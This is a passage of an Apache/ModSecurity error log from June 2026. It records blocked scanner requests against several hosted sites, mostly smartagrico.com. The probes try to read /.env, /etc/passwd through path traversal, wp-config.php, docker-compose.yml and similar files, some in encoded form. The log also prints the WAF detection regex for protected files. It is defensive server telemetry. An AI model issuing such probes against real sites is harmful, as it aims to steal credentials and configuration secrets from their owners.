74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2UvaW5wdXQvaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:12:56.470304 2026] [access_compat:error] [pid 531155:tid 531241] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2UvaW5wdXQvaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:12:56.541637 2026] [security2:error] [pid 531155:tid 531371] [client 103.153.183.69:46286] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCCmiP80klyS0NnoH3wAAAWA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.569967 2026] [security2:error] [pid 531155:tid 531343] [client 103.153.183.69:46286] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCCmiP80klyS0NnoH4QAAAUQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.599284 2026] [security2:error] [pid 531155:tid 531332] [client 103.153.183.69:46286] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/%2Eenv%23"] [unique_id "ai3yCCmiP80klyS0NnoH4gAAATk"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.660460 2026] [security2:error] [pid 531797:tid 531951] [remote 17.241.219.92:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 92.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yCMTA7b1mZrmcA-87twACH1c"] [Sat Jun 13 18:12:56.680380 2026] [security2:error] [pid 531155:tid 531334] [client 103.153.183.69:46294] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCCmiP80klyS0NnoH6gAAATs"], referer: https://SMARTAGRICO.COM/ [Sat Jun 13 18:12:56.722263 2026] [security2:error] [pid 531155:tid 531374] [client 103.153.183.69:46282] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCCmiP80klyS0NnoH6wAAAWM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.764721 2026] [security2:error] [pid 531797:tid 532085] [client 103.153.183.69:46304] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCMTA7b1mZrmcA-87uQAAAms"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.791104 2026] [security2:error] [pid 531797:tid 532022] [client 103.153.183.69:46304] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/%2e%65%6e%76"] [unique_id "ai3yCMTA7b1mZrmcA-87uwAAAi4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.850403 2026] [security2:error] [pid 531155:tid 531298] [client 103.153.183.69:46318] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCCmiP80klyS0NnoH8gAAARc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.857178 2026] [security2:error] [pid 531155:tid 531328] [client 103.153.183.69:46282] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/dist../etc/passwd"] [unique_id "ai3yCCmiP80klyS0NnoH9AAAATU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.877527 2026] [security2:error] [pid 531155:tid 531376] [client 103.153.183.69:46318] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCCmiP80klyS0NnoH9QAAAWU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.884343 2026] [security2:error] [pid 531155:tid 531285] [client 103.153.183.69:46282] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/dist../etc/nginx/nginx.conf"] [unique_id "ai3yCCmiP80klyS0NnoH9gAAAQo"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.904960 2026] [security2:error] [pid 531155:tid 531312] [client 103.153.183.69:46318] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCCmiP80klyS0NnoH9wAAASU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.911000 2026] [security2:error] [pid 531155:tid 531351] [client 103.153.183.69:46282] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/dist../.env"] [unique_id "ai3yCCmiP80klyS0NnoH-AAAAUw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.936703 2026] [security2:error] [pid 531155:tid 531375] [client 103.153.183.69:46282] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/dist../wp-config.php"] [unique_id "ai3yCCmiP80klyS0NnoH-wAAAWQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.957726 2026] [security2:error] [pid 531155:tid 531327] [client 103.153.183.69:46318] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCCmiP80klyS0NnoH_QAAATQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.958327 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MC9wb3dlcg== [Sat Jun 13 18:12:56.958759 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MC9wb3dlcg== [Sat Jun 13 18:12:56.962228 2026] [security2:error] [pid 531797:tid 532070] [client 103.153.183.69:46306] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/dist../config.php"] [unique_id "ai3yCMTA7b1mZrmcA-87wAAAAlw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:56.978820 2026] [core:error] [pid 531155:tid 531378] [client 2a06:98c0:3600::103:0] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:12:56.978839 2026] [core:error] [pid 531155:tid 531378] [client 2a06:98c0:3600::103:0] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:12:56.984870 2026] [security2:error] [pid 531155:tid 531411] [client 103.153.183.69:46318] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCCmiP80klyS0NnoIAAAAAYg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.010562 2026] [security2:error] [pid 531155:tid 531349] [client 103.153.183.69:46318] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/dist../index.php"] [unique_id "ai3yCSmiP80klyS0NnoIAgAAAUo"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.040017 2026] [security2:error] [pid 531155:tid 531377] [client 103.153.183.69:46324] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/dist../settings.py"] [unique_id "ai3yCSmiP80klyS0NnoIBQAAAWY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.063177 2026] [security2:error] [pid 531155:tid 531288] [client 103.153.183.69:46340] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCSmiP80klyS0NnoIBwAAAQ0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.117465 2026] [security2:error] [pid 531155:tid 531296] [client 103.153.183.69:46340] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCSmiP80klyS0NnoIDAAAARU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.144507 2026] [security2:error] [pid 531155:tid 531403] [client 103.153.183.69:46340] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCSmiP80klyS0NnoIDwAAAYA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.151905 2026] [access_compat:error] [pid 531155:tid 531275] [remote 57.141.14.52:34438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:57.152191 2026] [access_compat:error] [pid 531155:tid 531275] [remote 57.141.14.52:34438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:57.172228 2026] [security2:error] [pid 531155:tid 531321] [client 103.153.183.69:46340] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCSmiP80klyS0NnoIEQAAAS4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.183271 2026] [access_compat:error] [pid 531797:tid 531990] [remote 57.141.14.14:25686] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:57.183720 2026] [access_compat:error] [pid 531797:tid 531990] [remote 57.141.14.14:25686] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:57.191187 2026] [access_compat:error] [pid 531797:tid 531942] [remote 74.7.227.22:40792] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:12:57.191618 2026] [access_compat:error] [pid 531797:tid 531942] [remote 74.7.227.22:40792] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:12:57.197887 2026] [security2:error] [pid 531155:tid 531350] [client 103.153.183.69:46340] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/%2F.en%76"] [unique_id "ai3yCSmiP80klyS0NnoIFAAAAUs"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.224931 2026] [security2:error] [pid 531155:tid 531313] [client 103.153.183.69:46354] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCSmiP80klyS0NnoIFgAAASY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.250488 2026] [security2:error] [pid 531155:tid 531318] [client 103.153.183.69:46354] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/.en%76"] [unique_id "ai3yCSmiP80klyS0NnoIFwAAASs"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.280157 2026] [security2:error] [pid 531155:tid 531360] [client 103.153.183.69:46346] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/dist../docker-compose.yml"] [unique_id "ai3yCSmiP80klyS0NnoIGgAAAVU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.302789 2026] [security2:error] [pid 531797:tid 531896] [remote 185.177.72.9:6010] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/.env.local.php"] [unique_id "ai3yCcTA7b1mZrmcA-87zQACQyA"] [Sat Jun 13 18:12:57.385673 2026] [access_compat:error] [pid 531797:tid 531888] [remote 216.73.216.182:19117] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:57.386096 2026] [access_compat:error] [pid 531797:tid 531888] [remote 216.73.216.182:19117] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:57.391002 2026] [security2:error] [pid 531797:tid 532107] [client 103.153.183.69:46342] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCcTA7b1mZrmcA-870QAAAoA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.418773 2026] [security2:error] [pid 531797:tid 531996] [client 103.153.183.69:46342] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yCcTA7b1mZrmcA-870gAAAhQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:57.436839 2026] [security2:error] [pid 531797:tid 531971] [remote 185.177.72.9:6010] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/config/.env"] [unique_id "ai3yCcTA7b1mZrmcA-870wACQGo"] [Sat Jun 13 18:12:57.445146 2026] [access_compat:error] [pid 531797:tid 531955] [remote 57.141.14.51:23248] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:57.445601 2026] [access_compat:error] [pid 531797:tid 531955] [remote 57.141.14.51:23248] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:57.446034 2026] [security2:error] [pid 531797:tid 532101] [client 103.153.183.69:46342] ModSecurity: Access denied with code 406 (phase 2). Pattern match 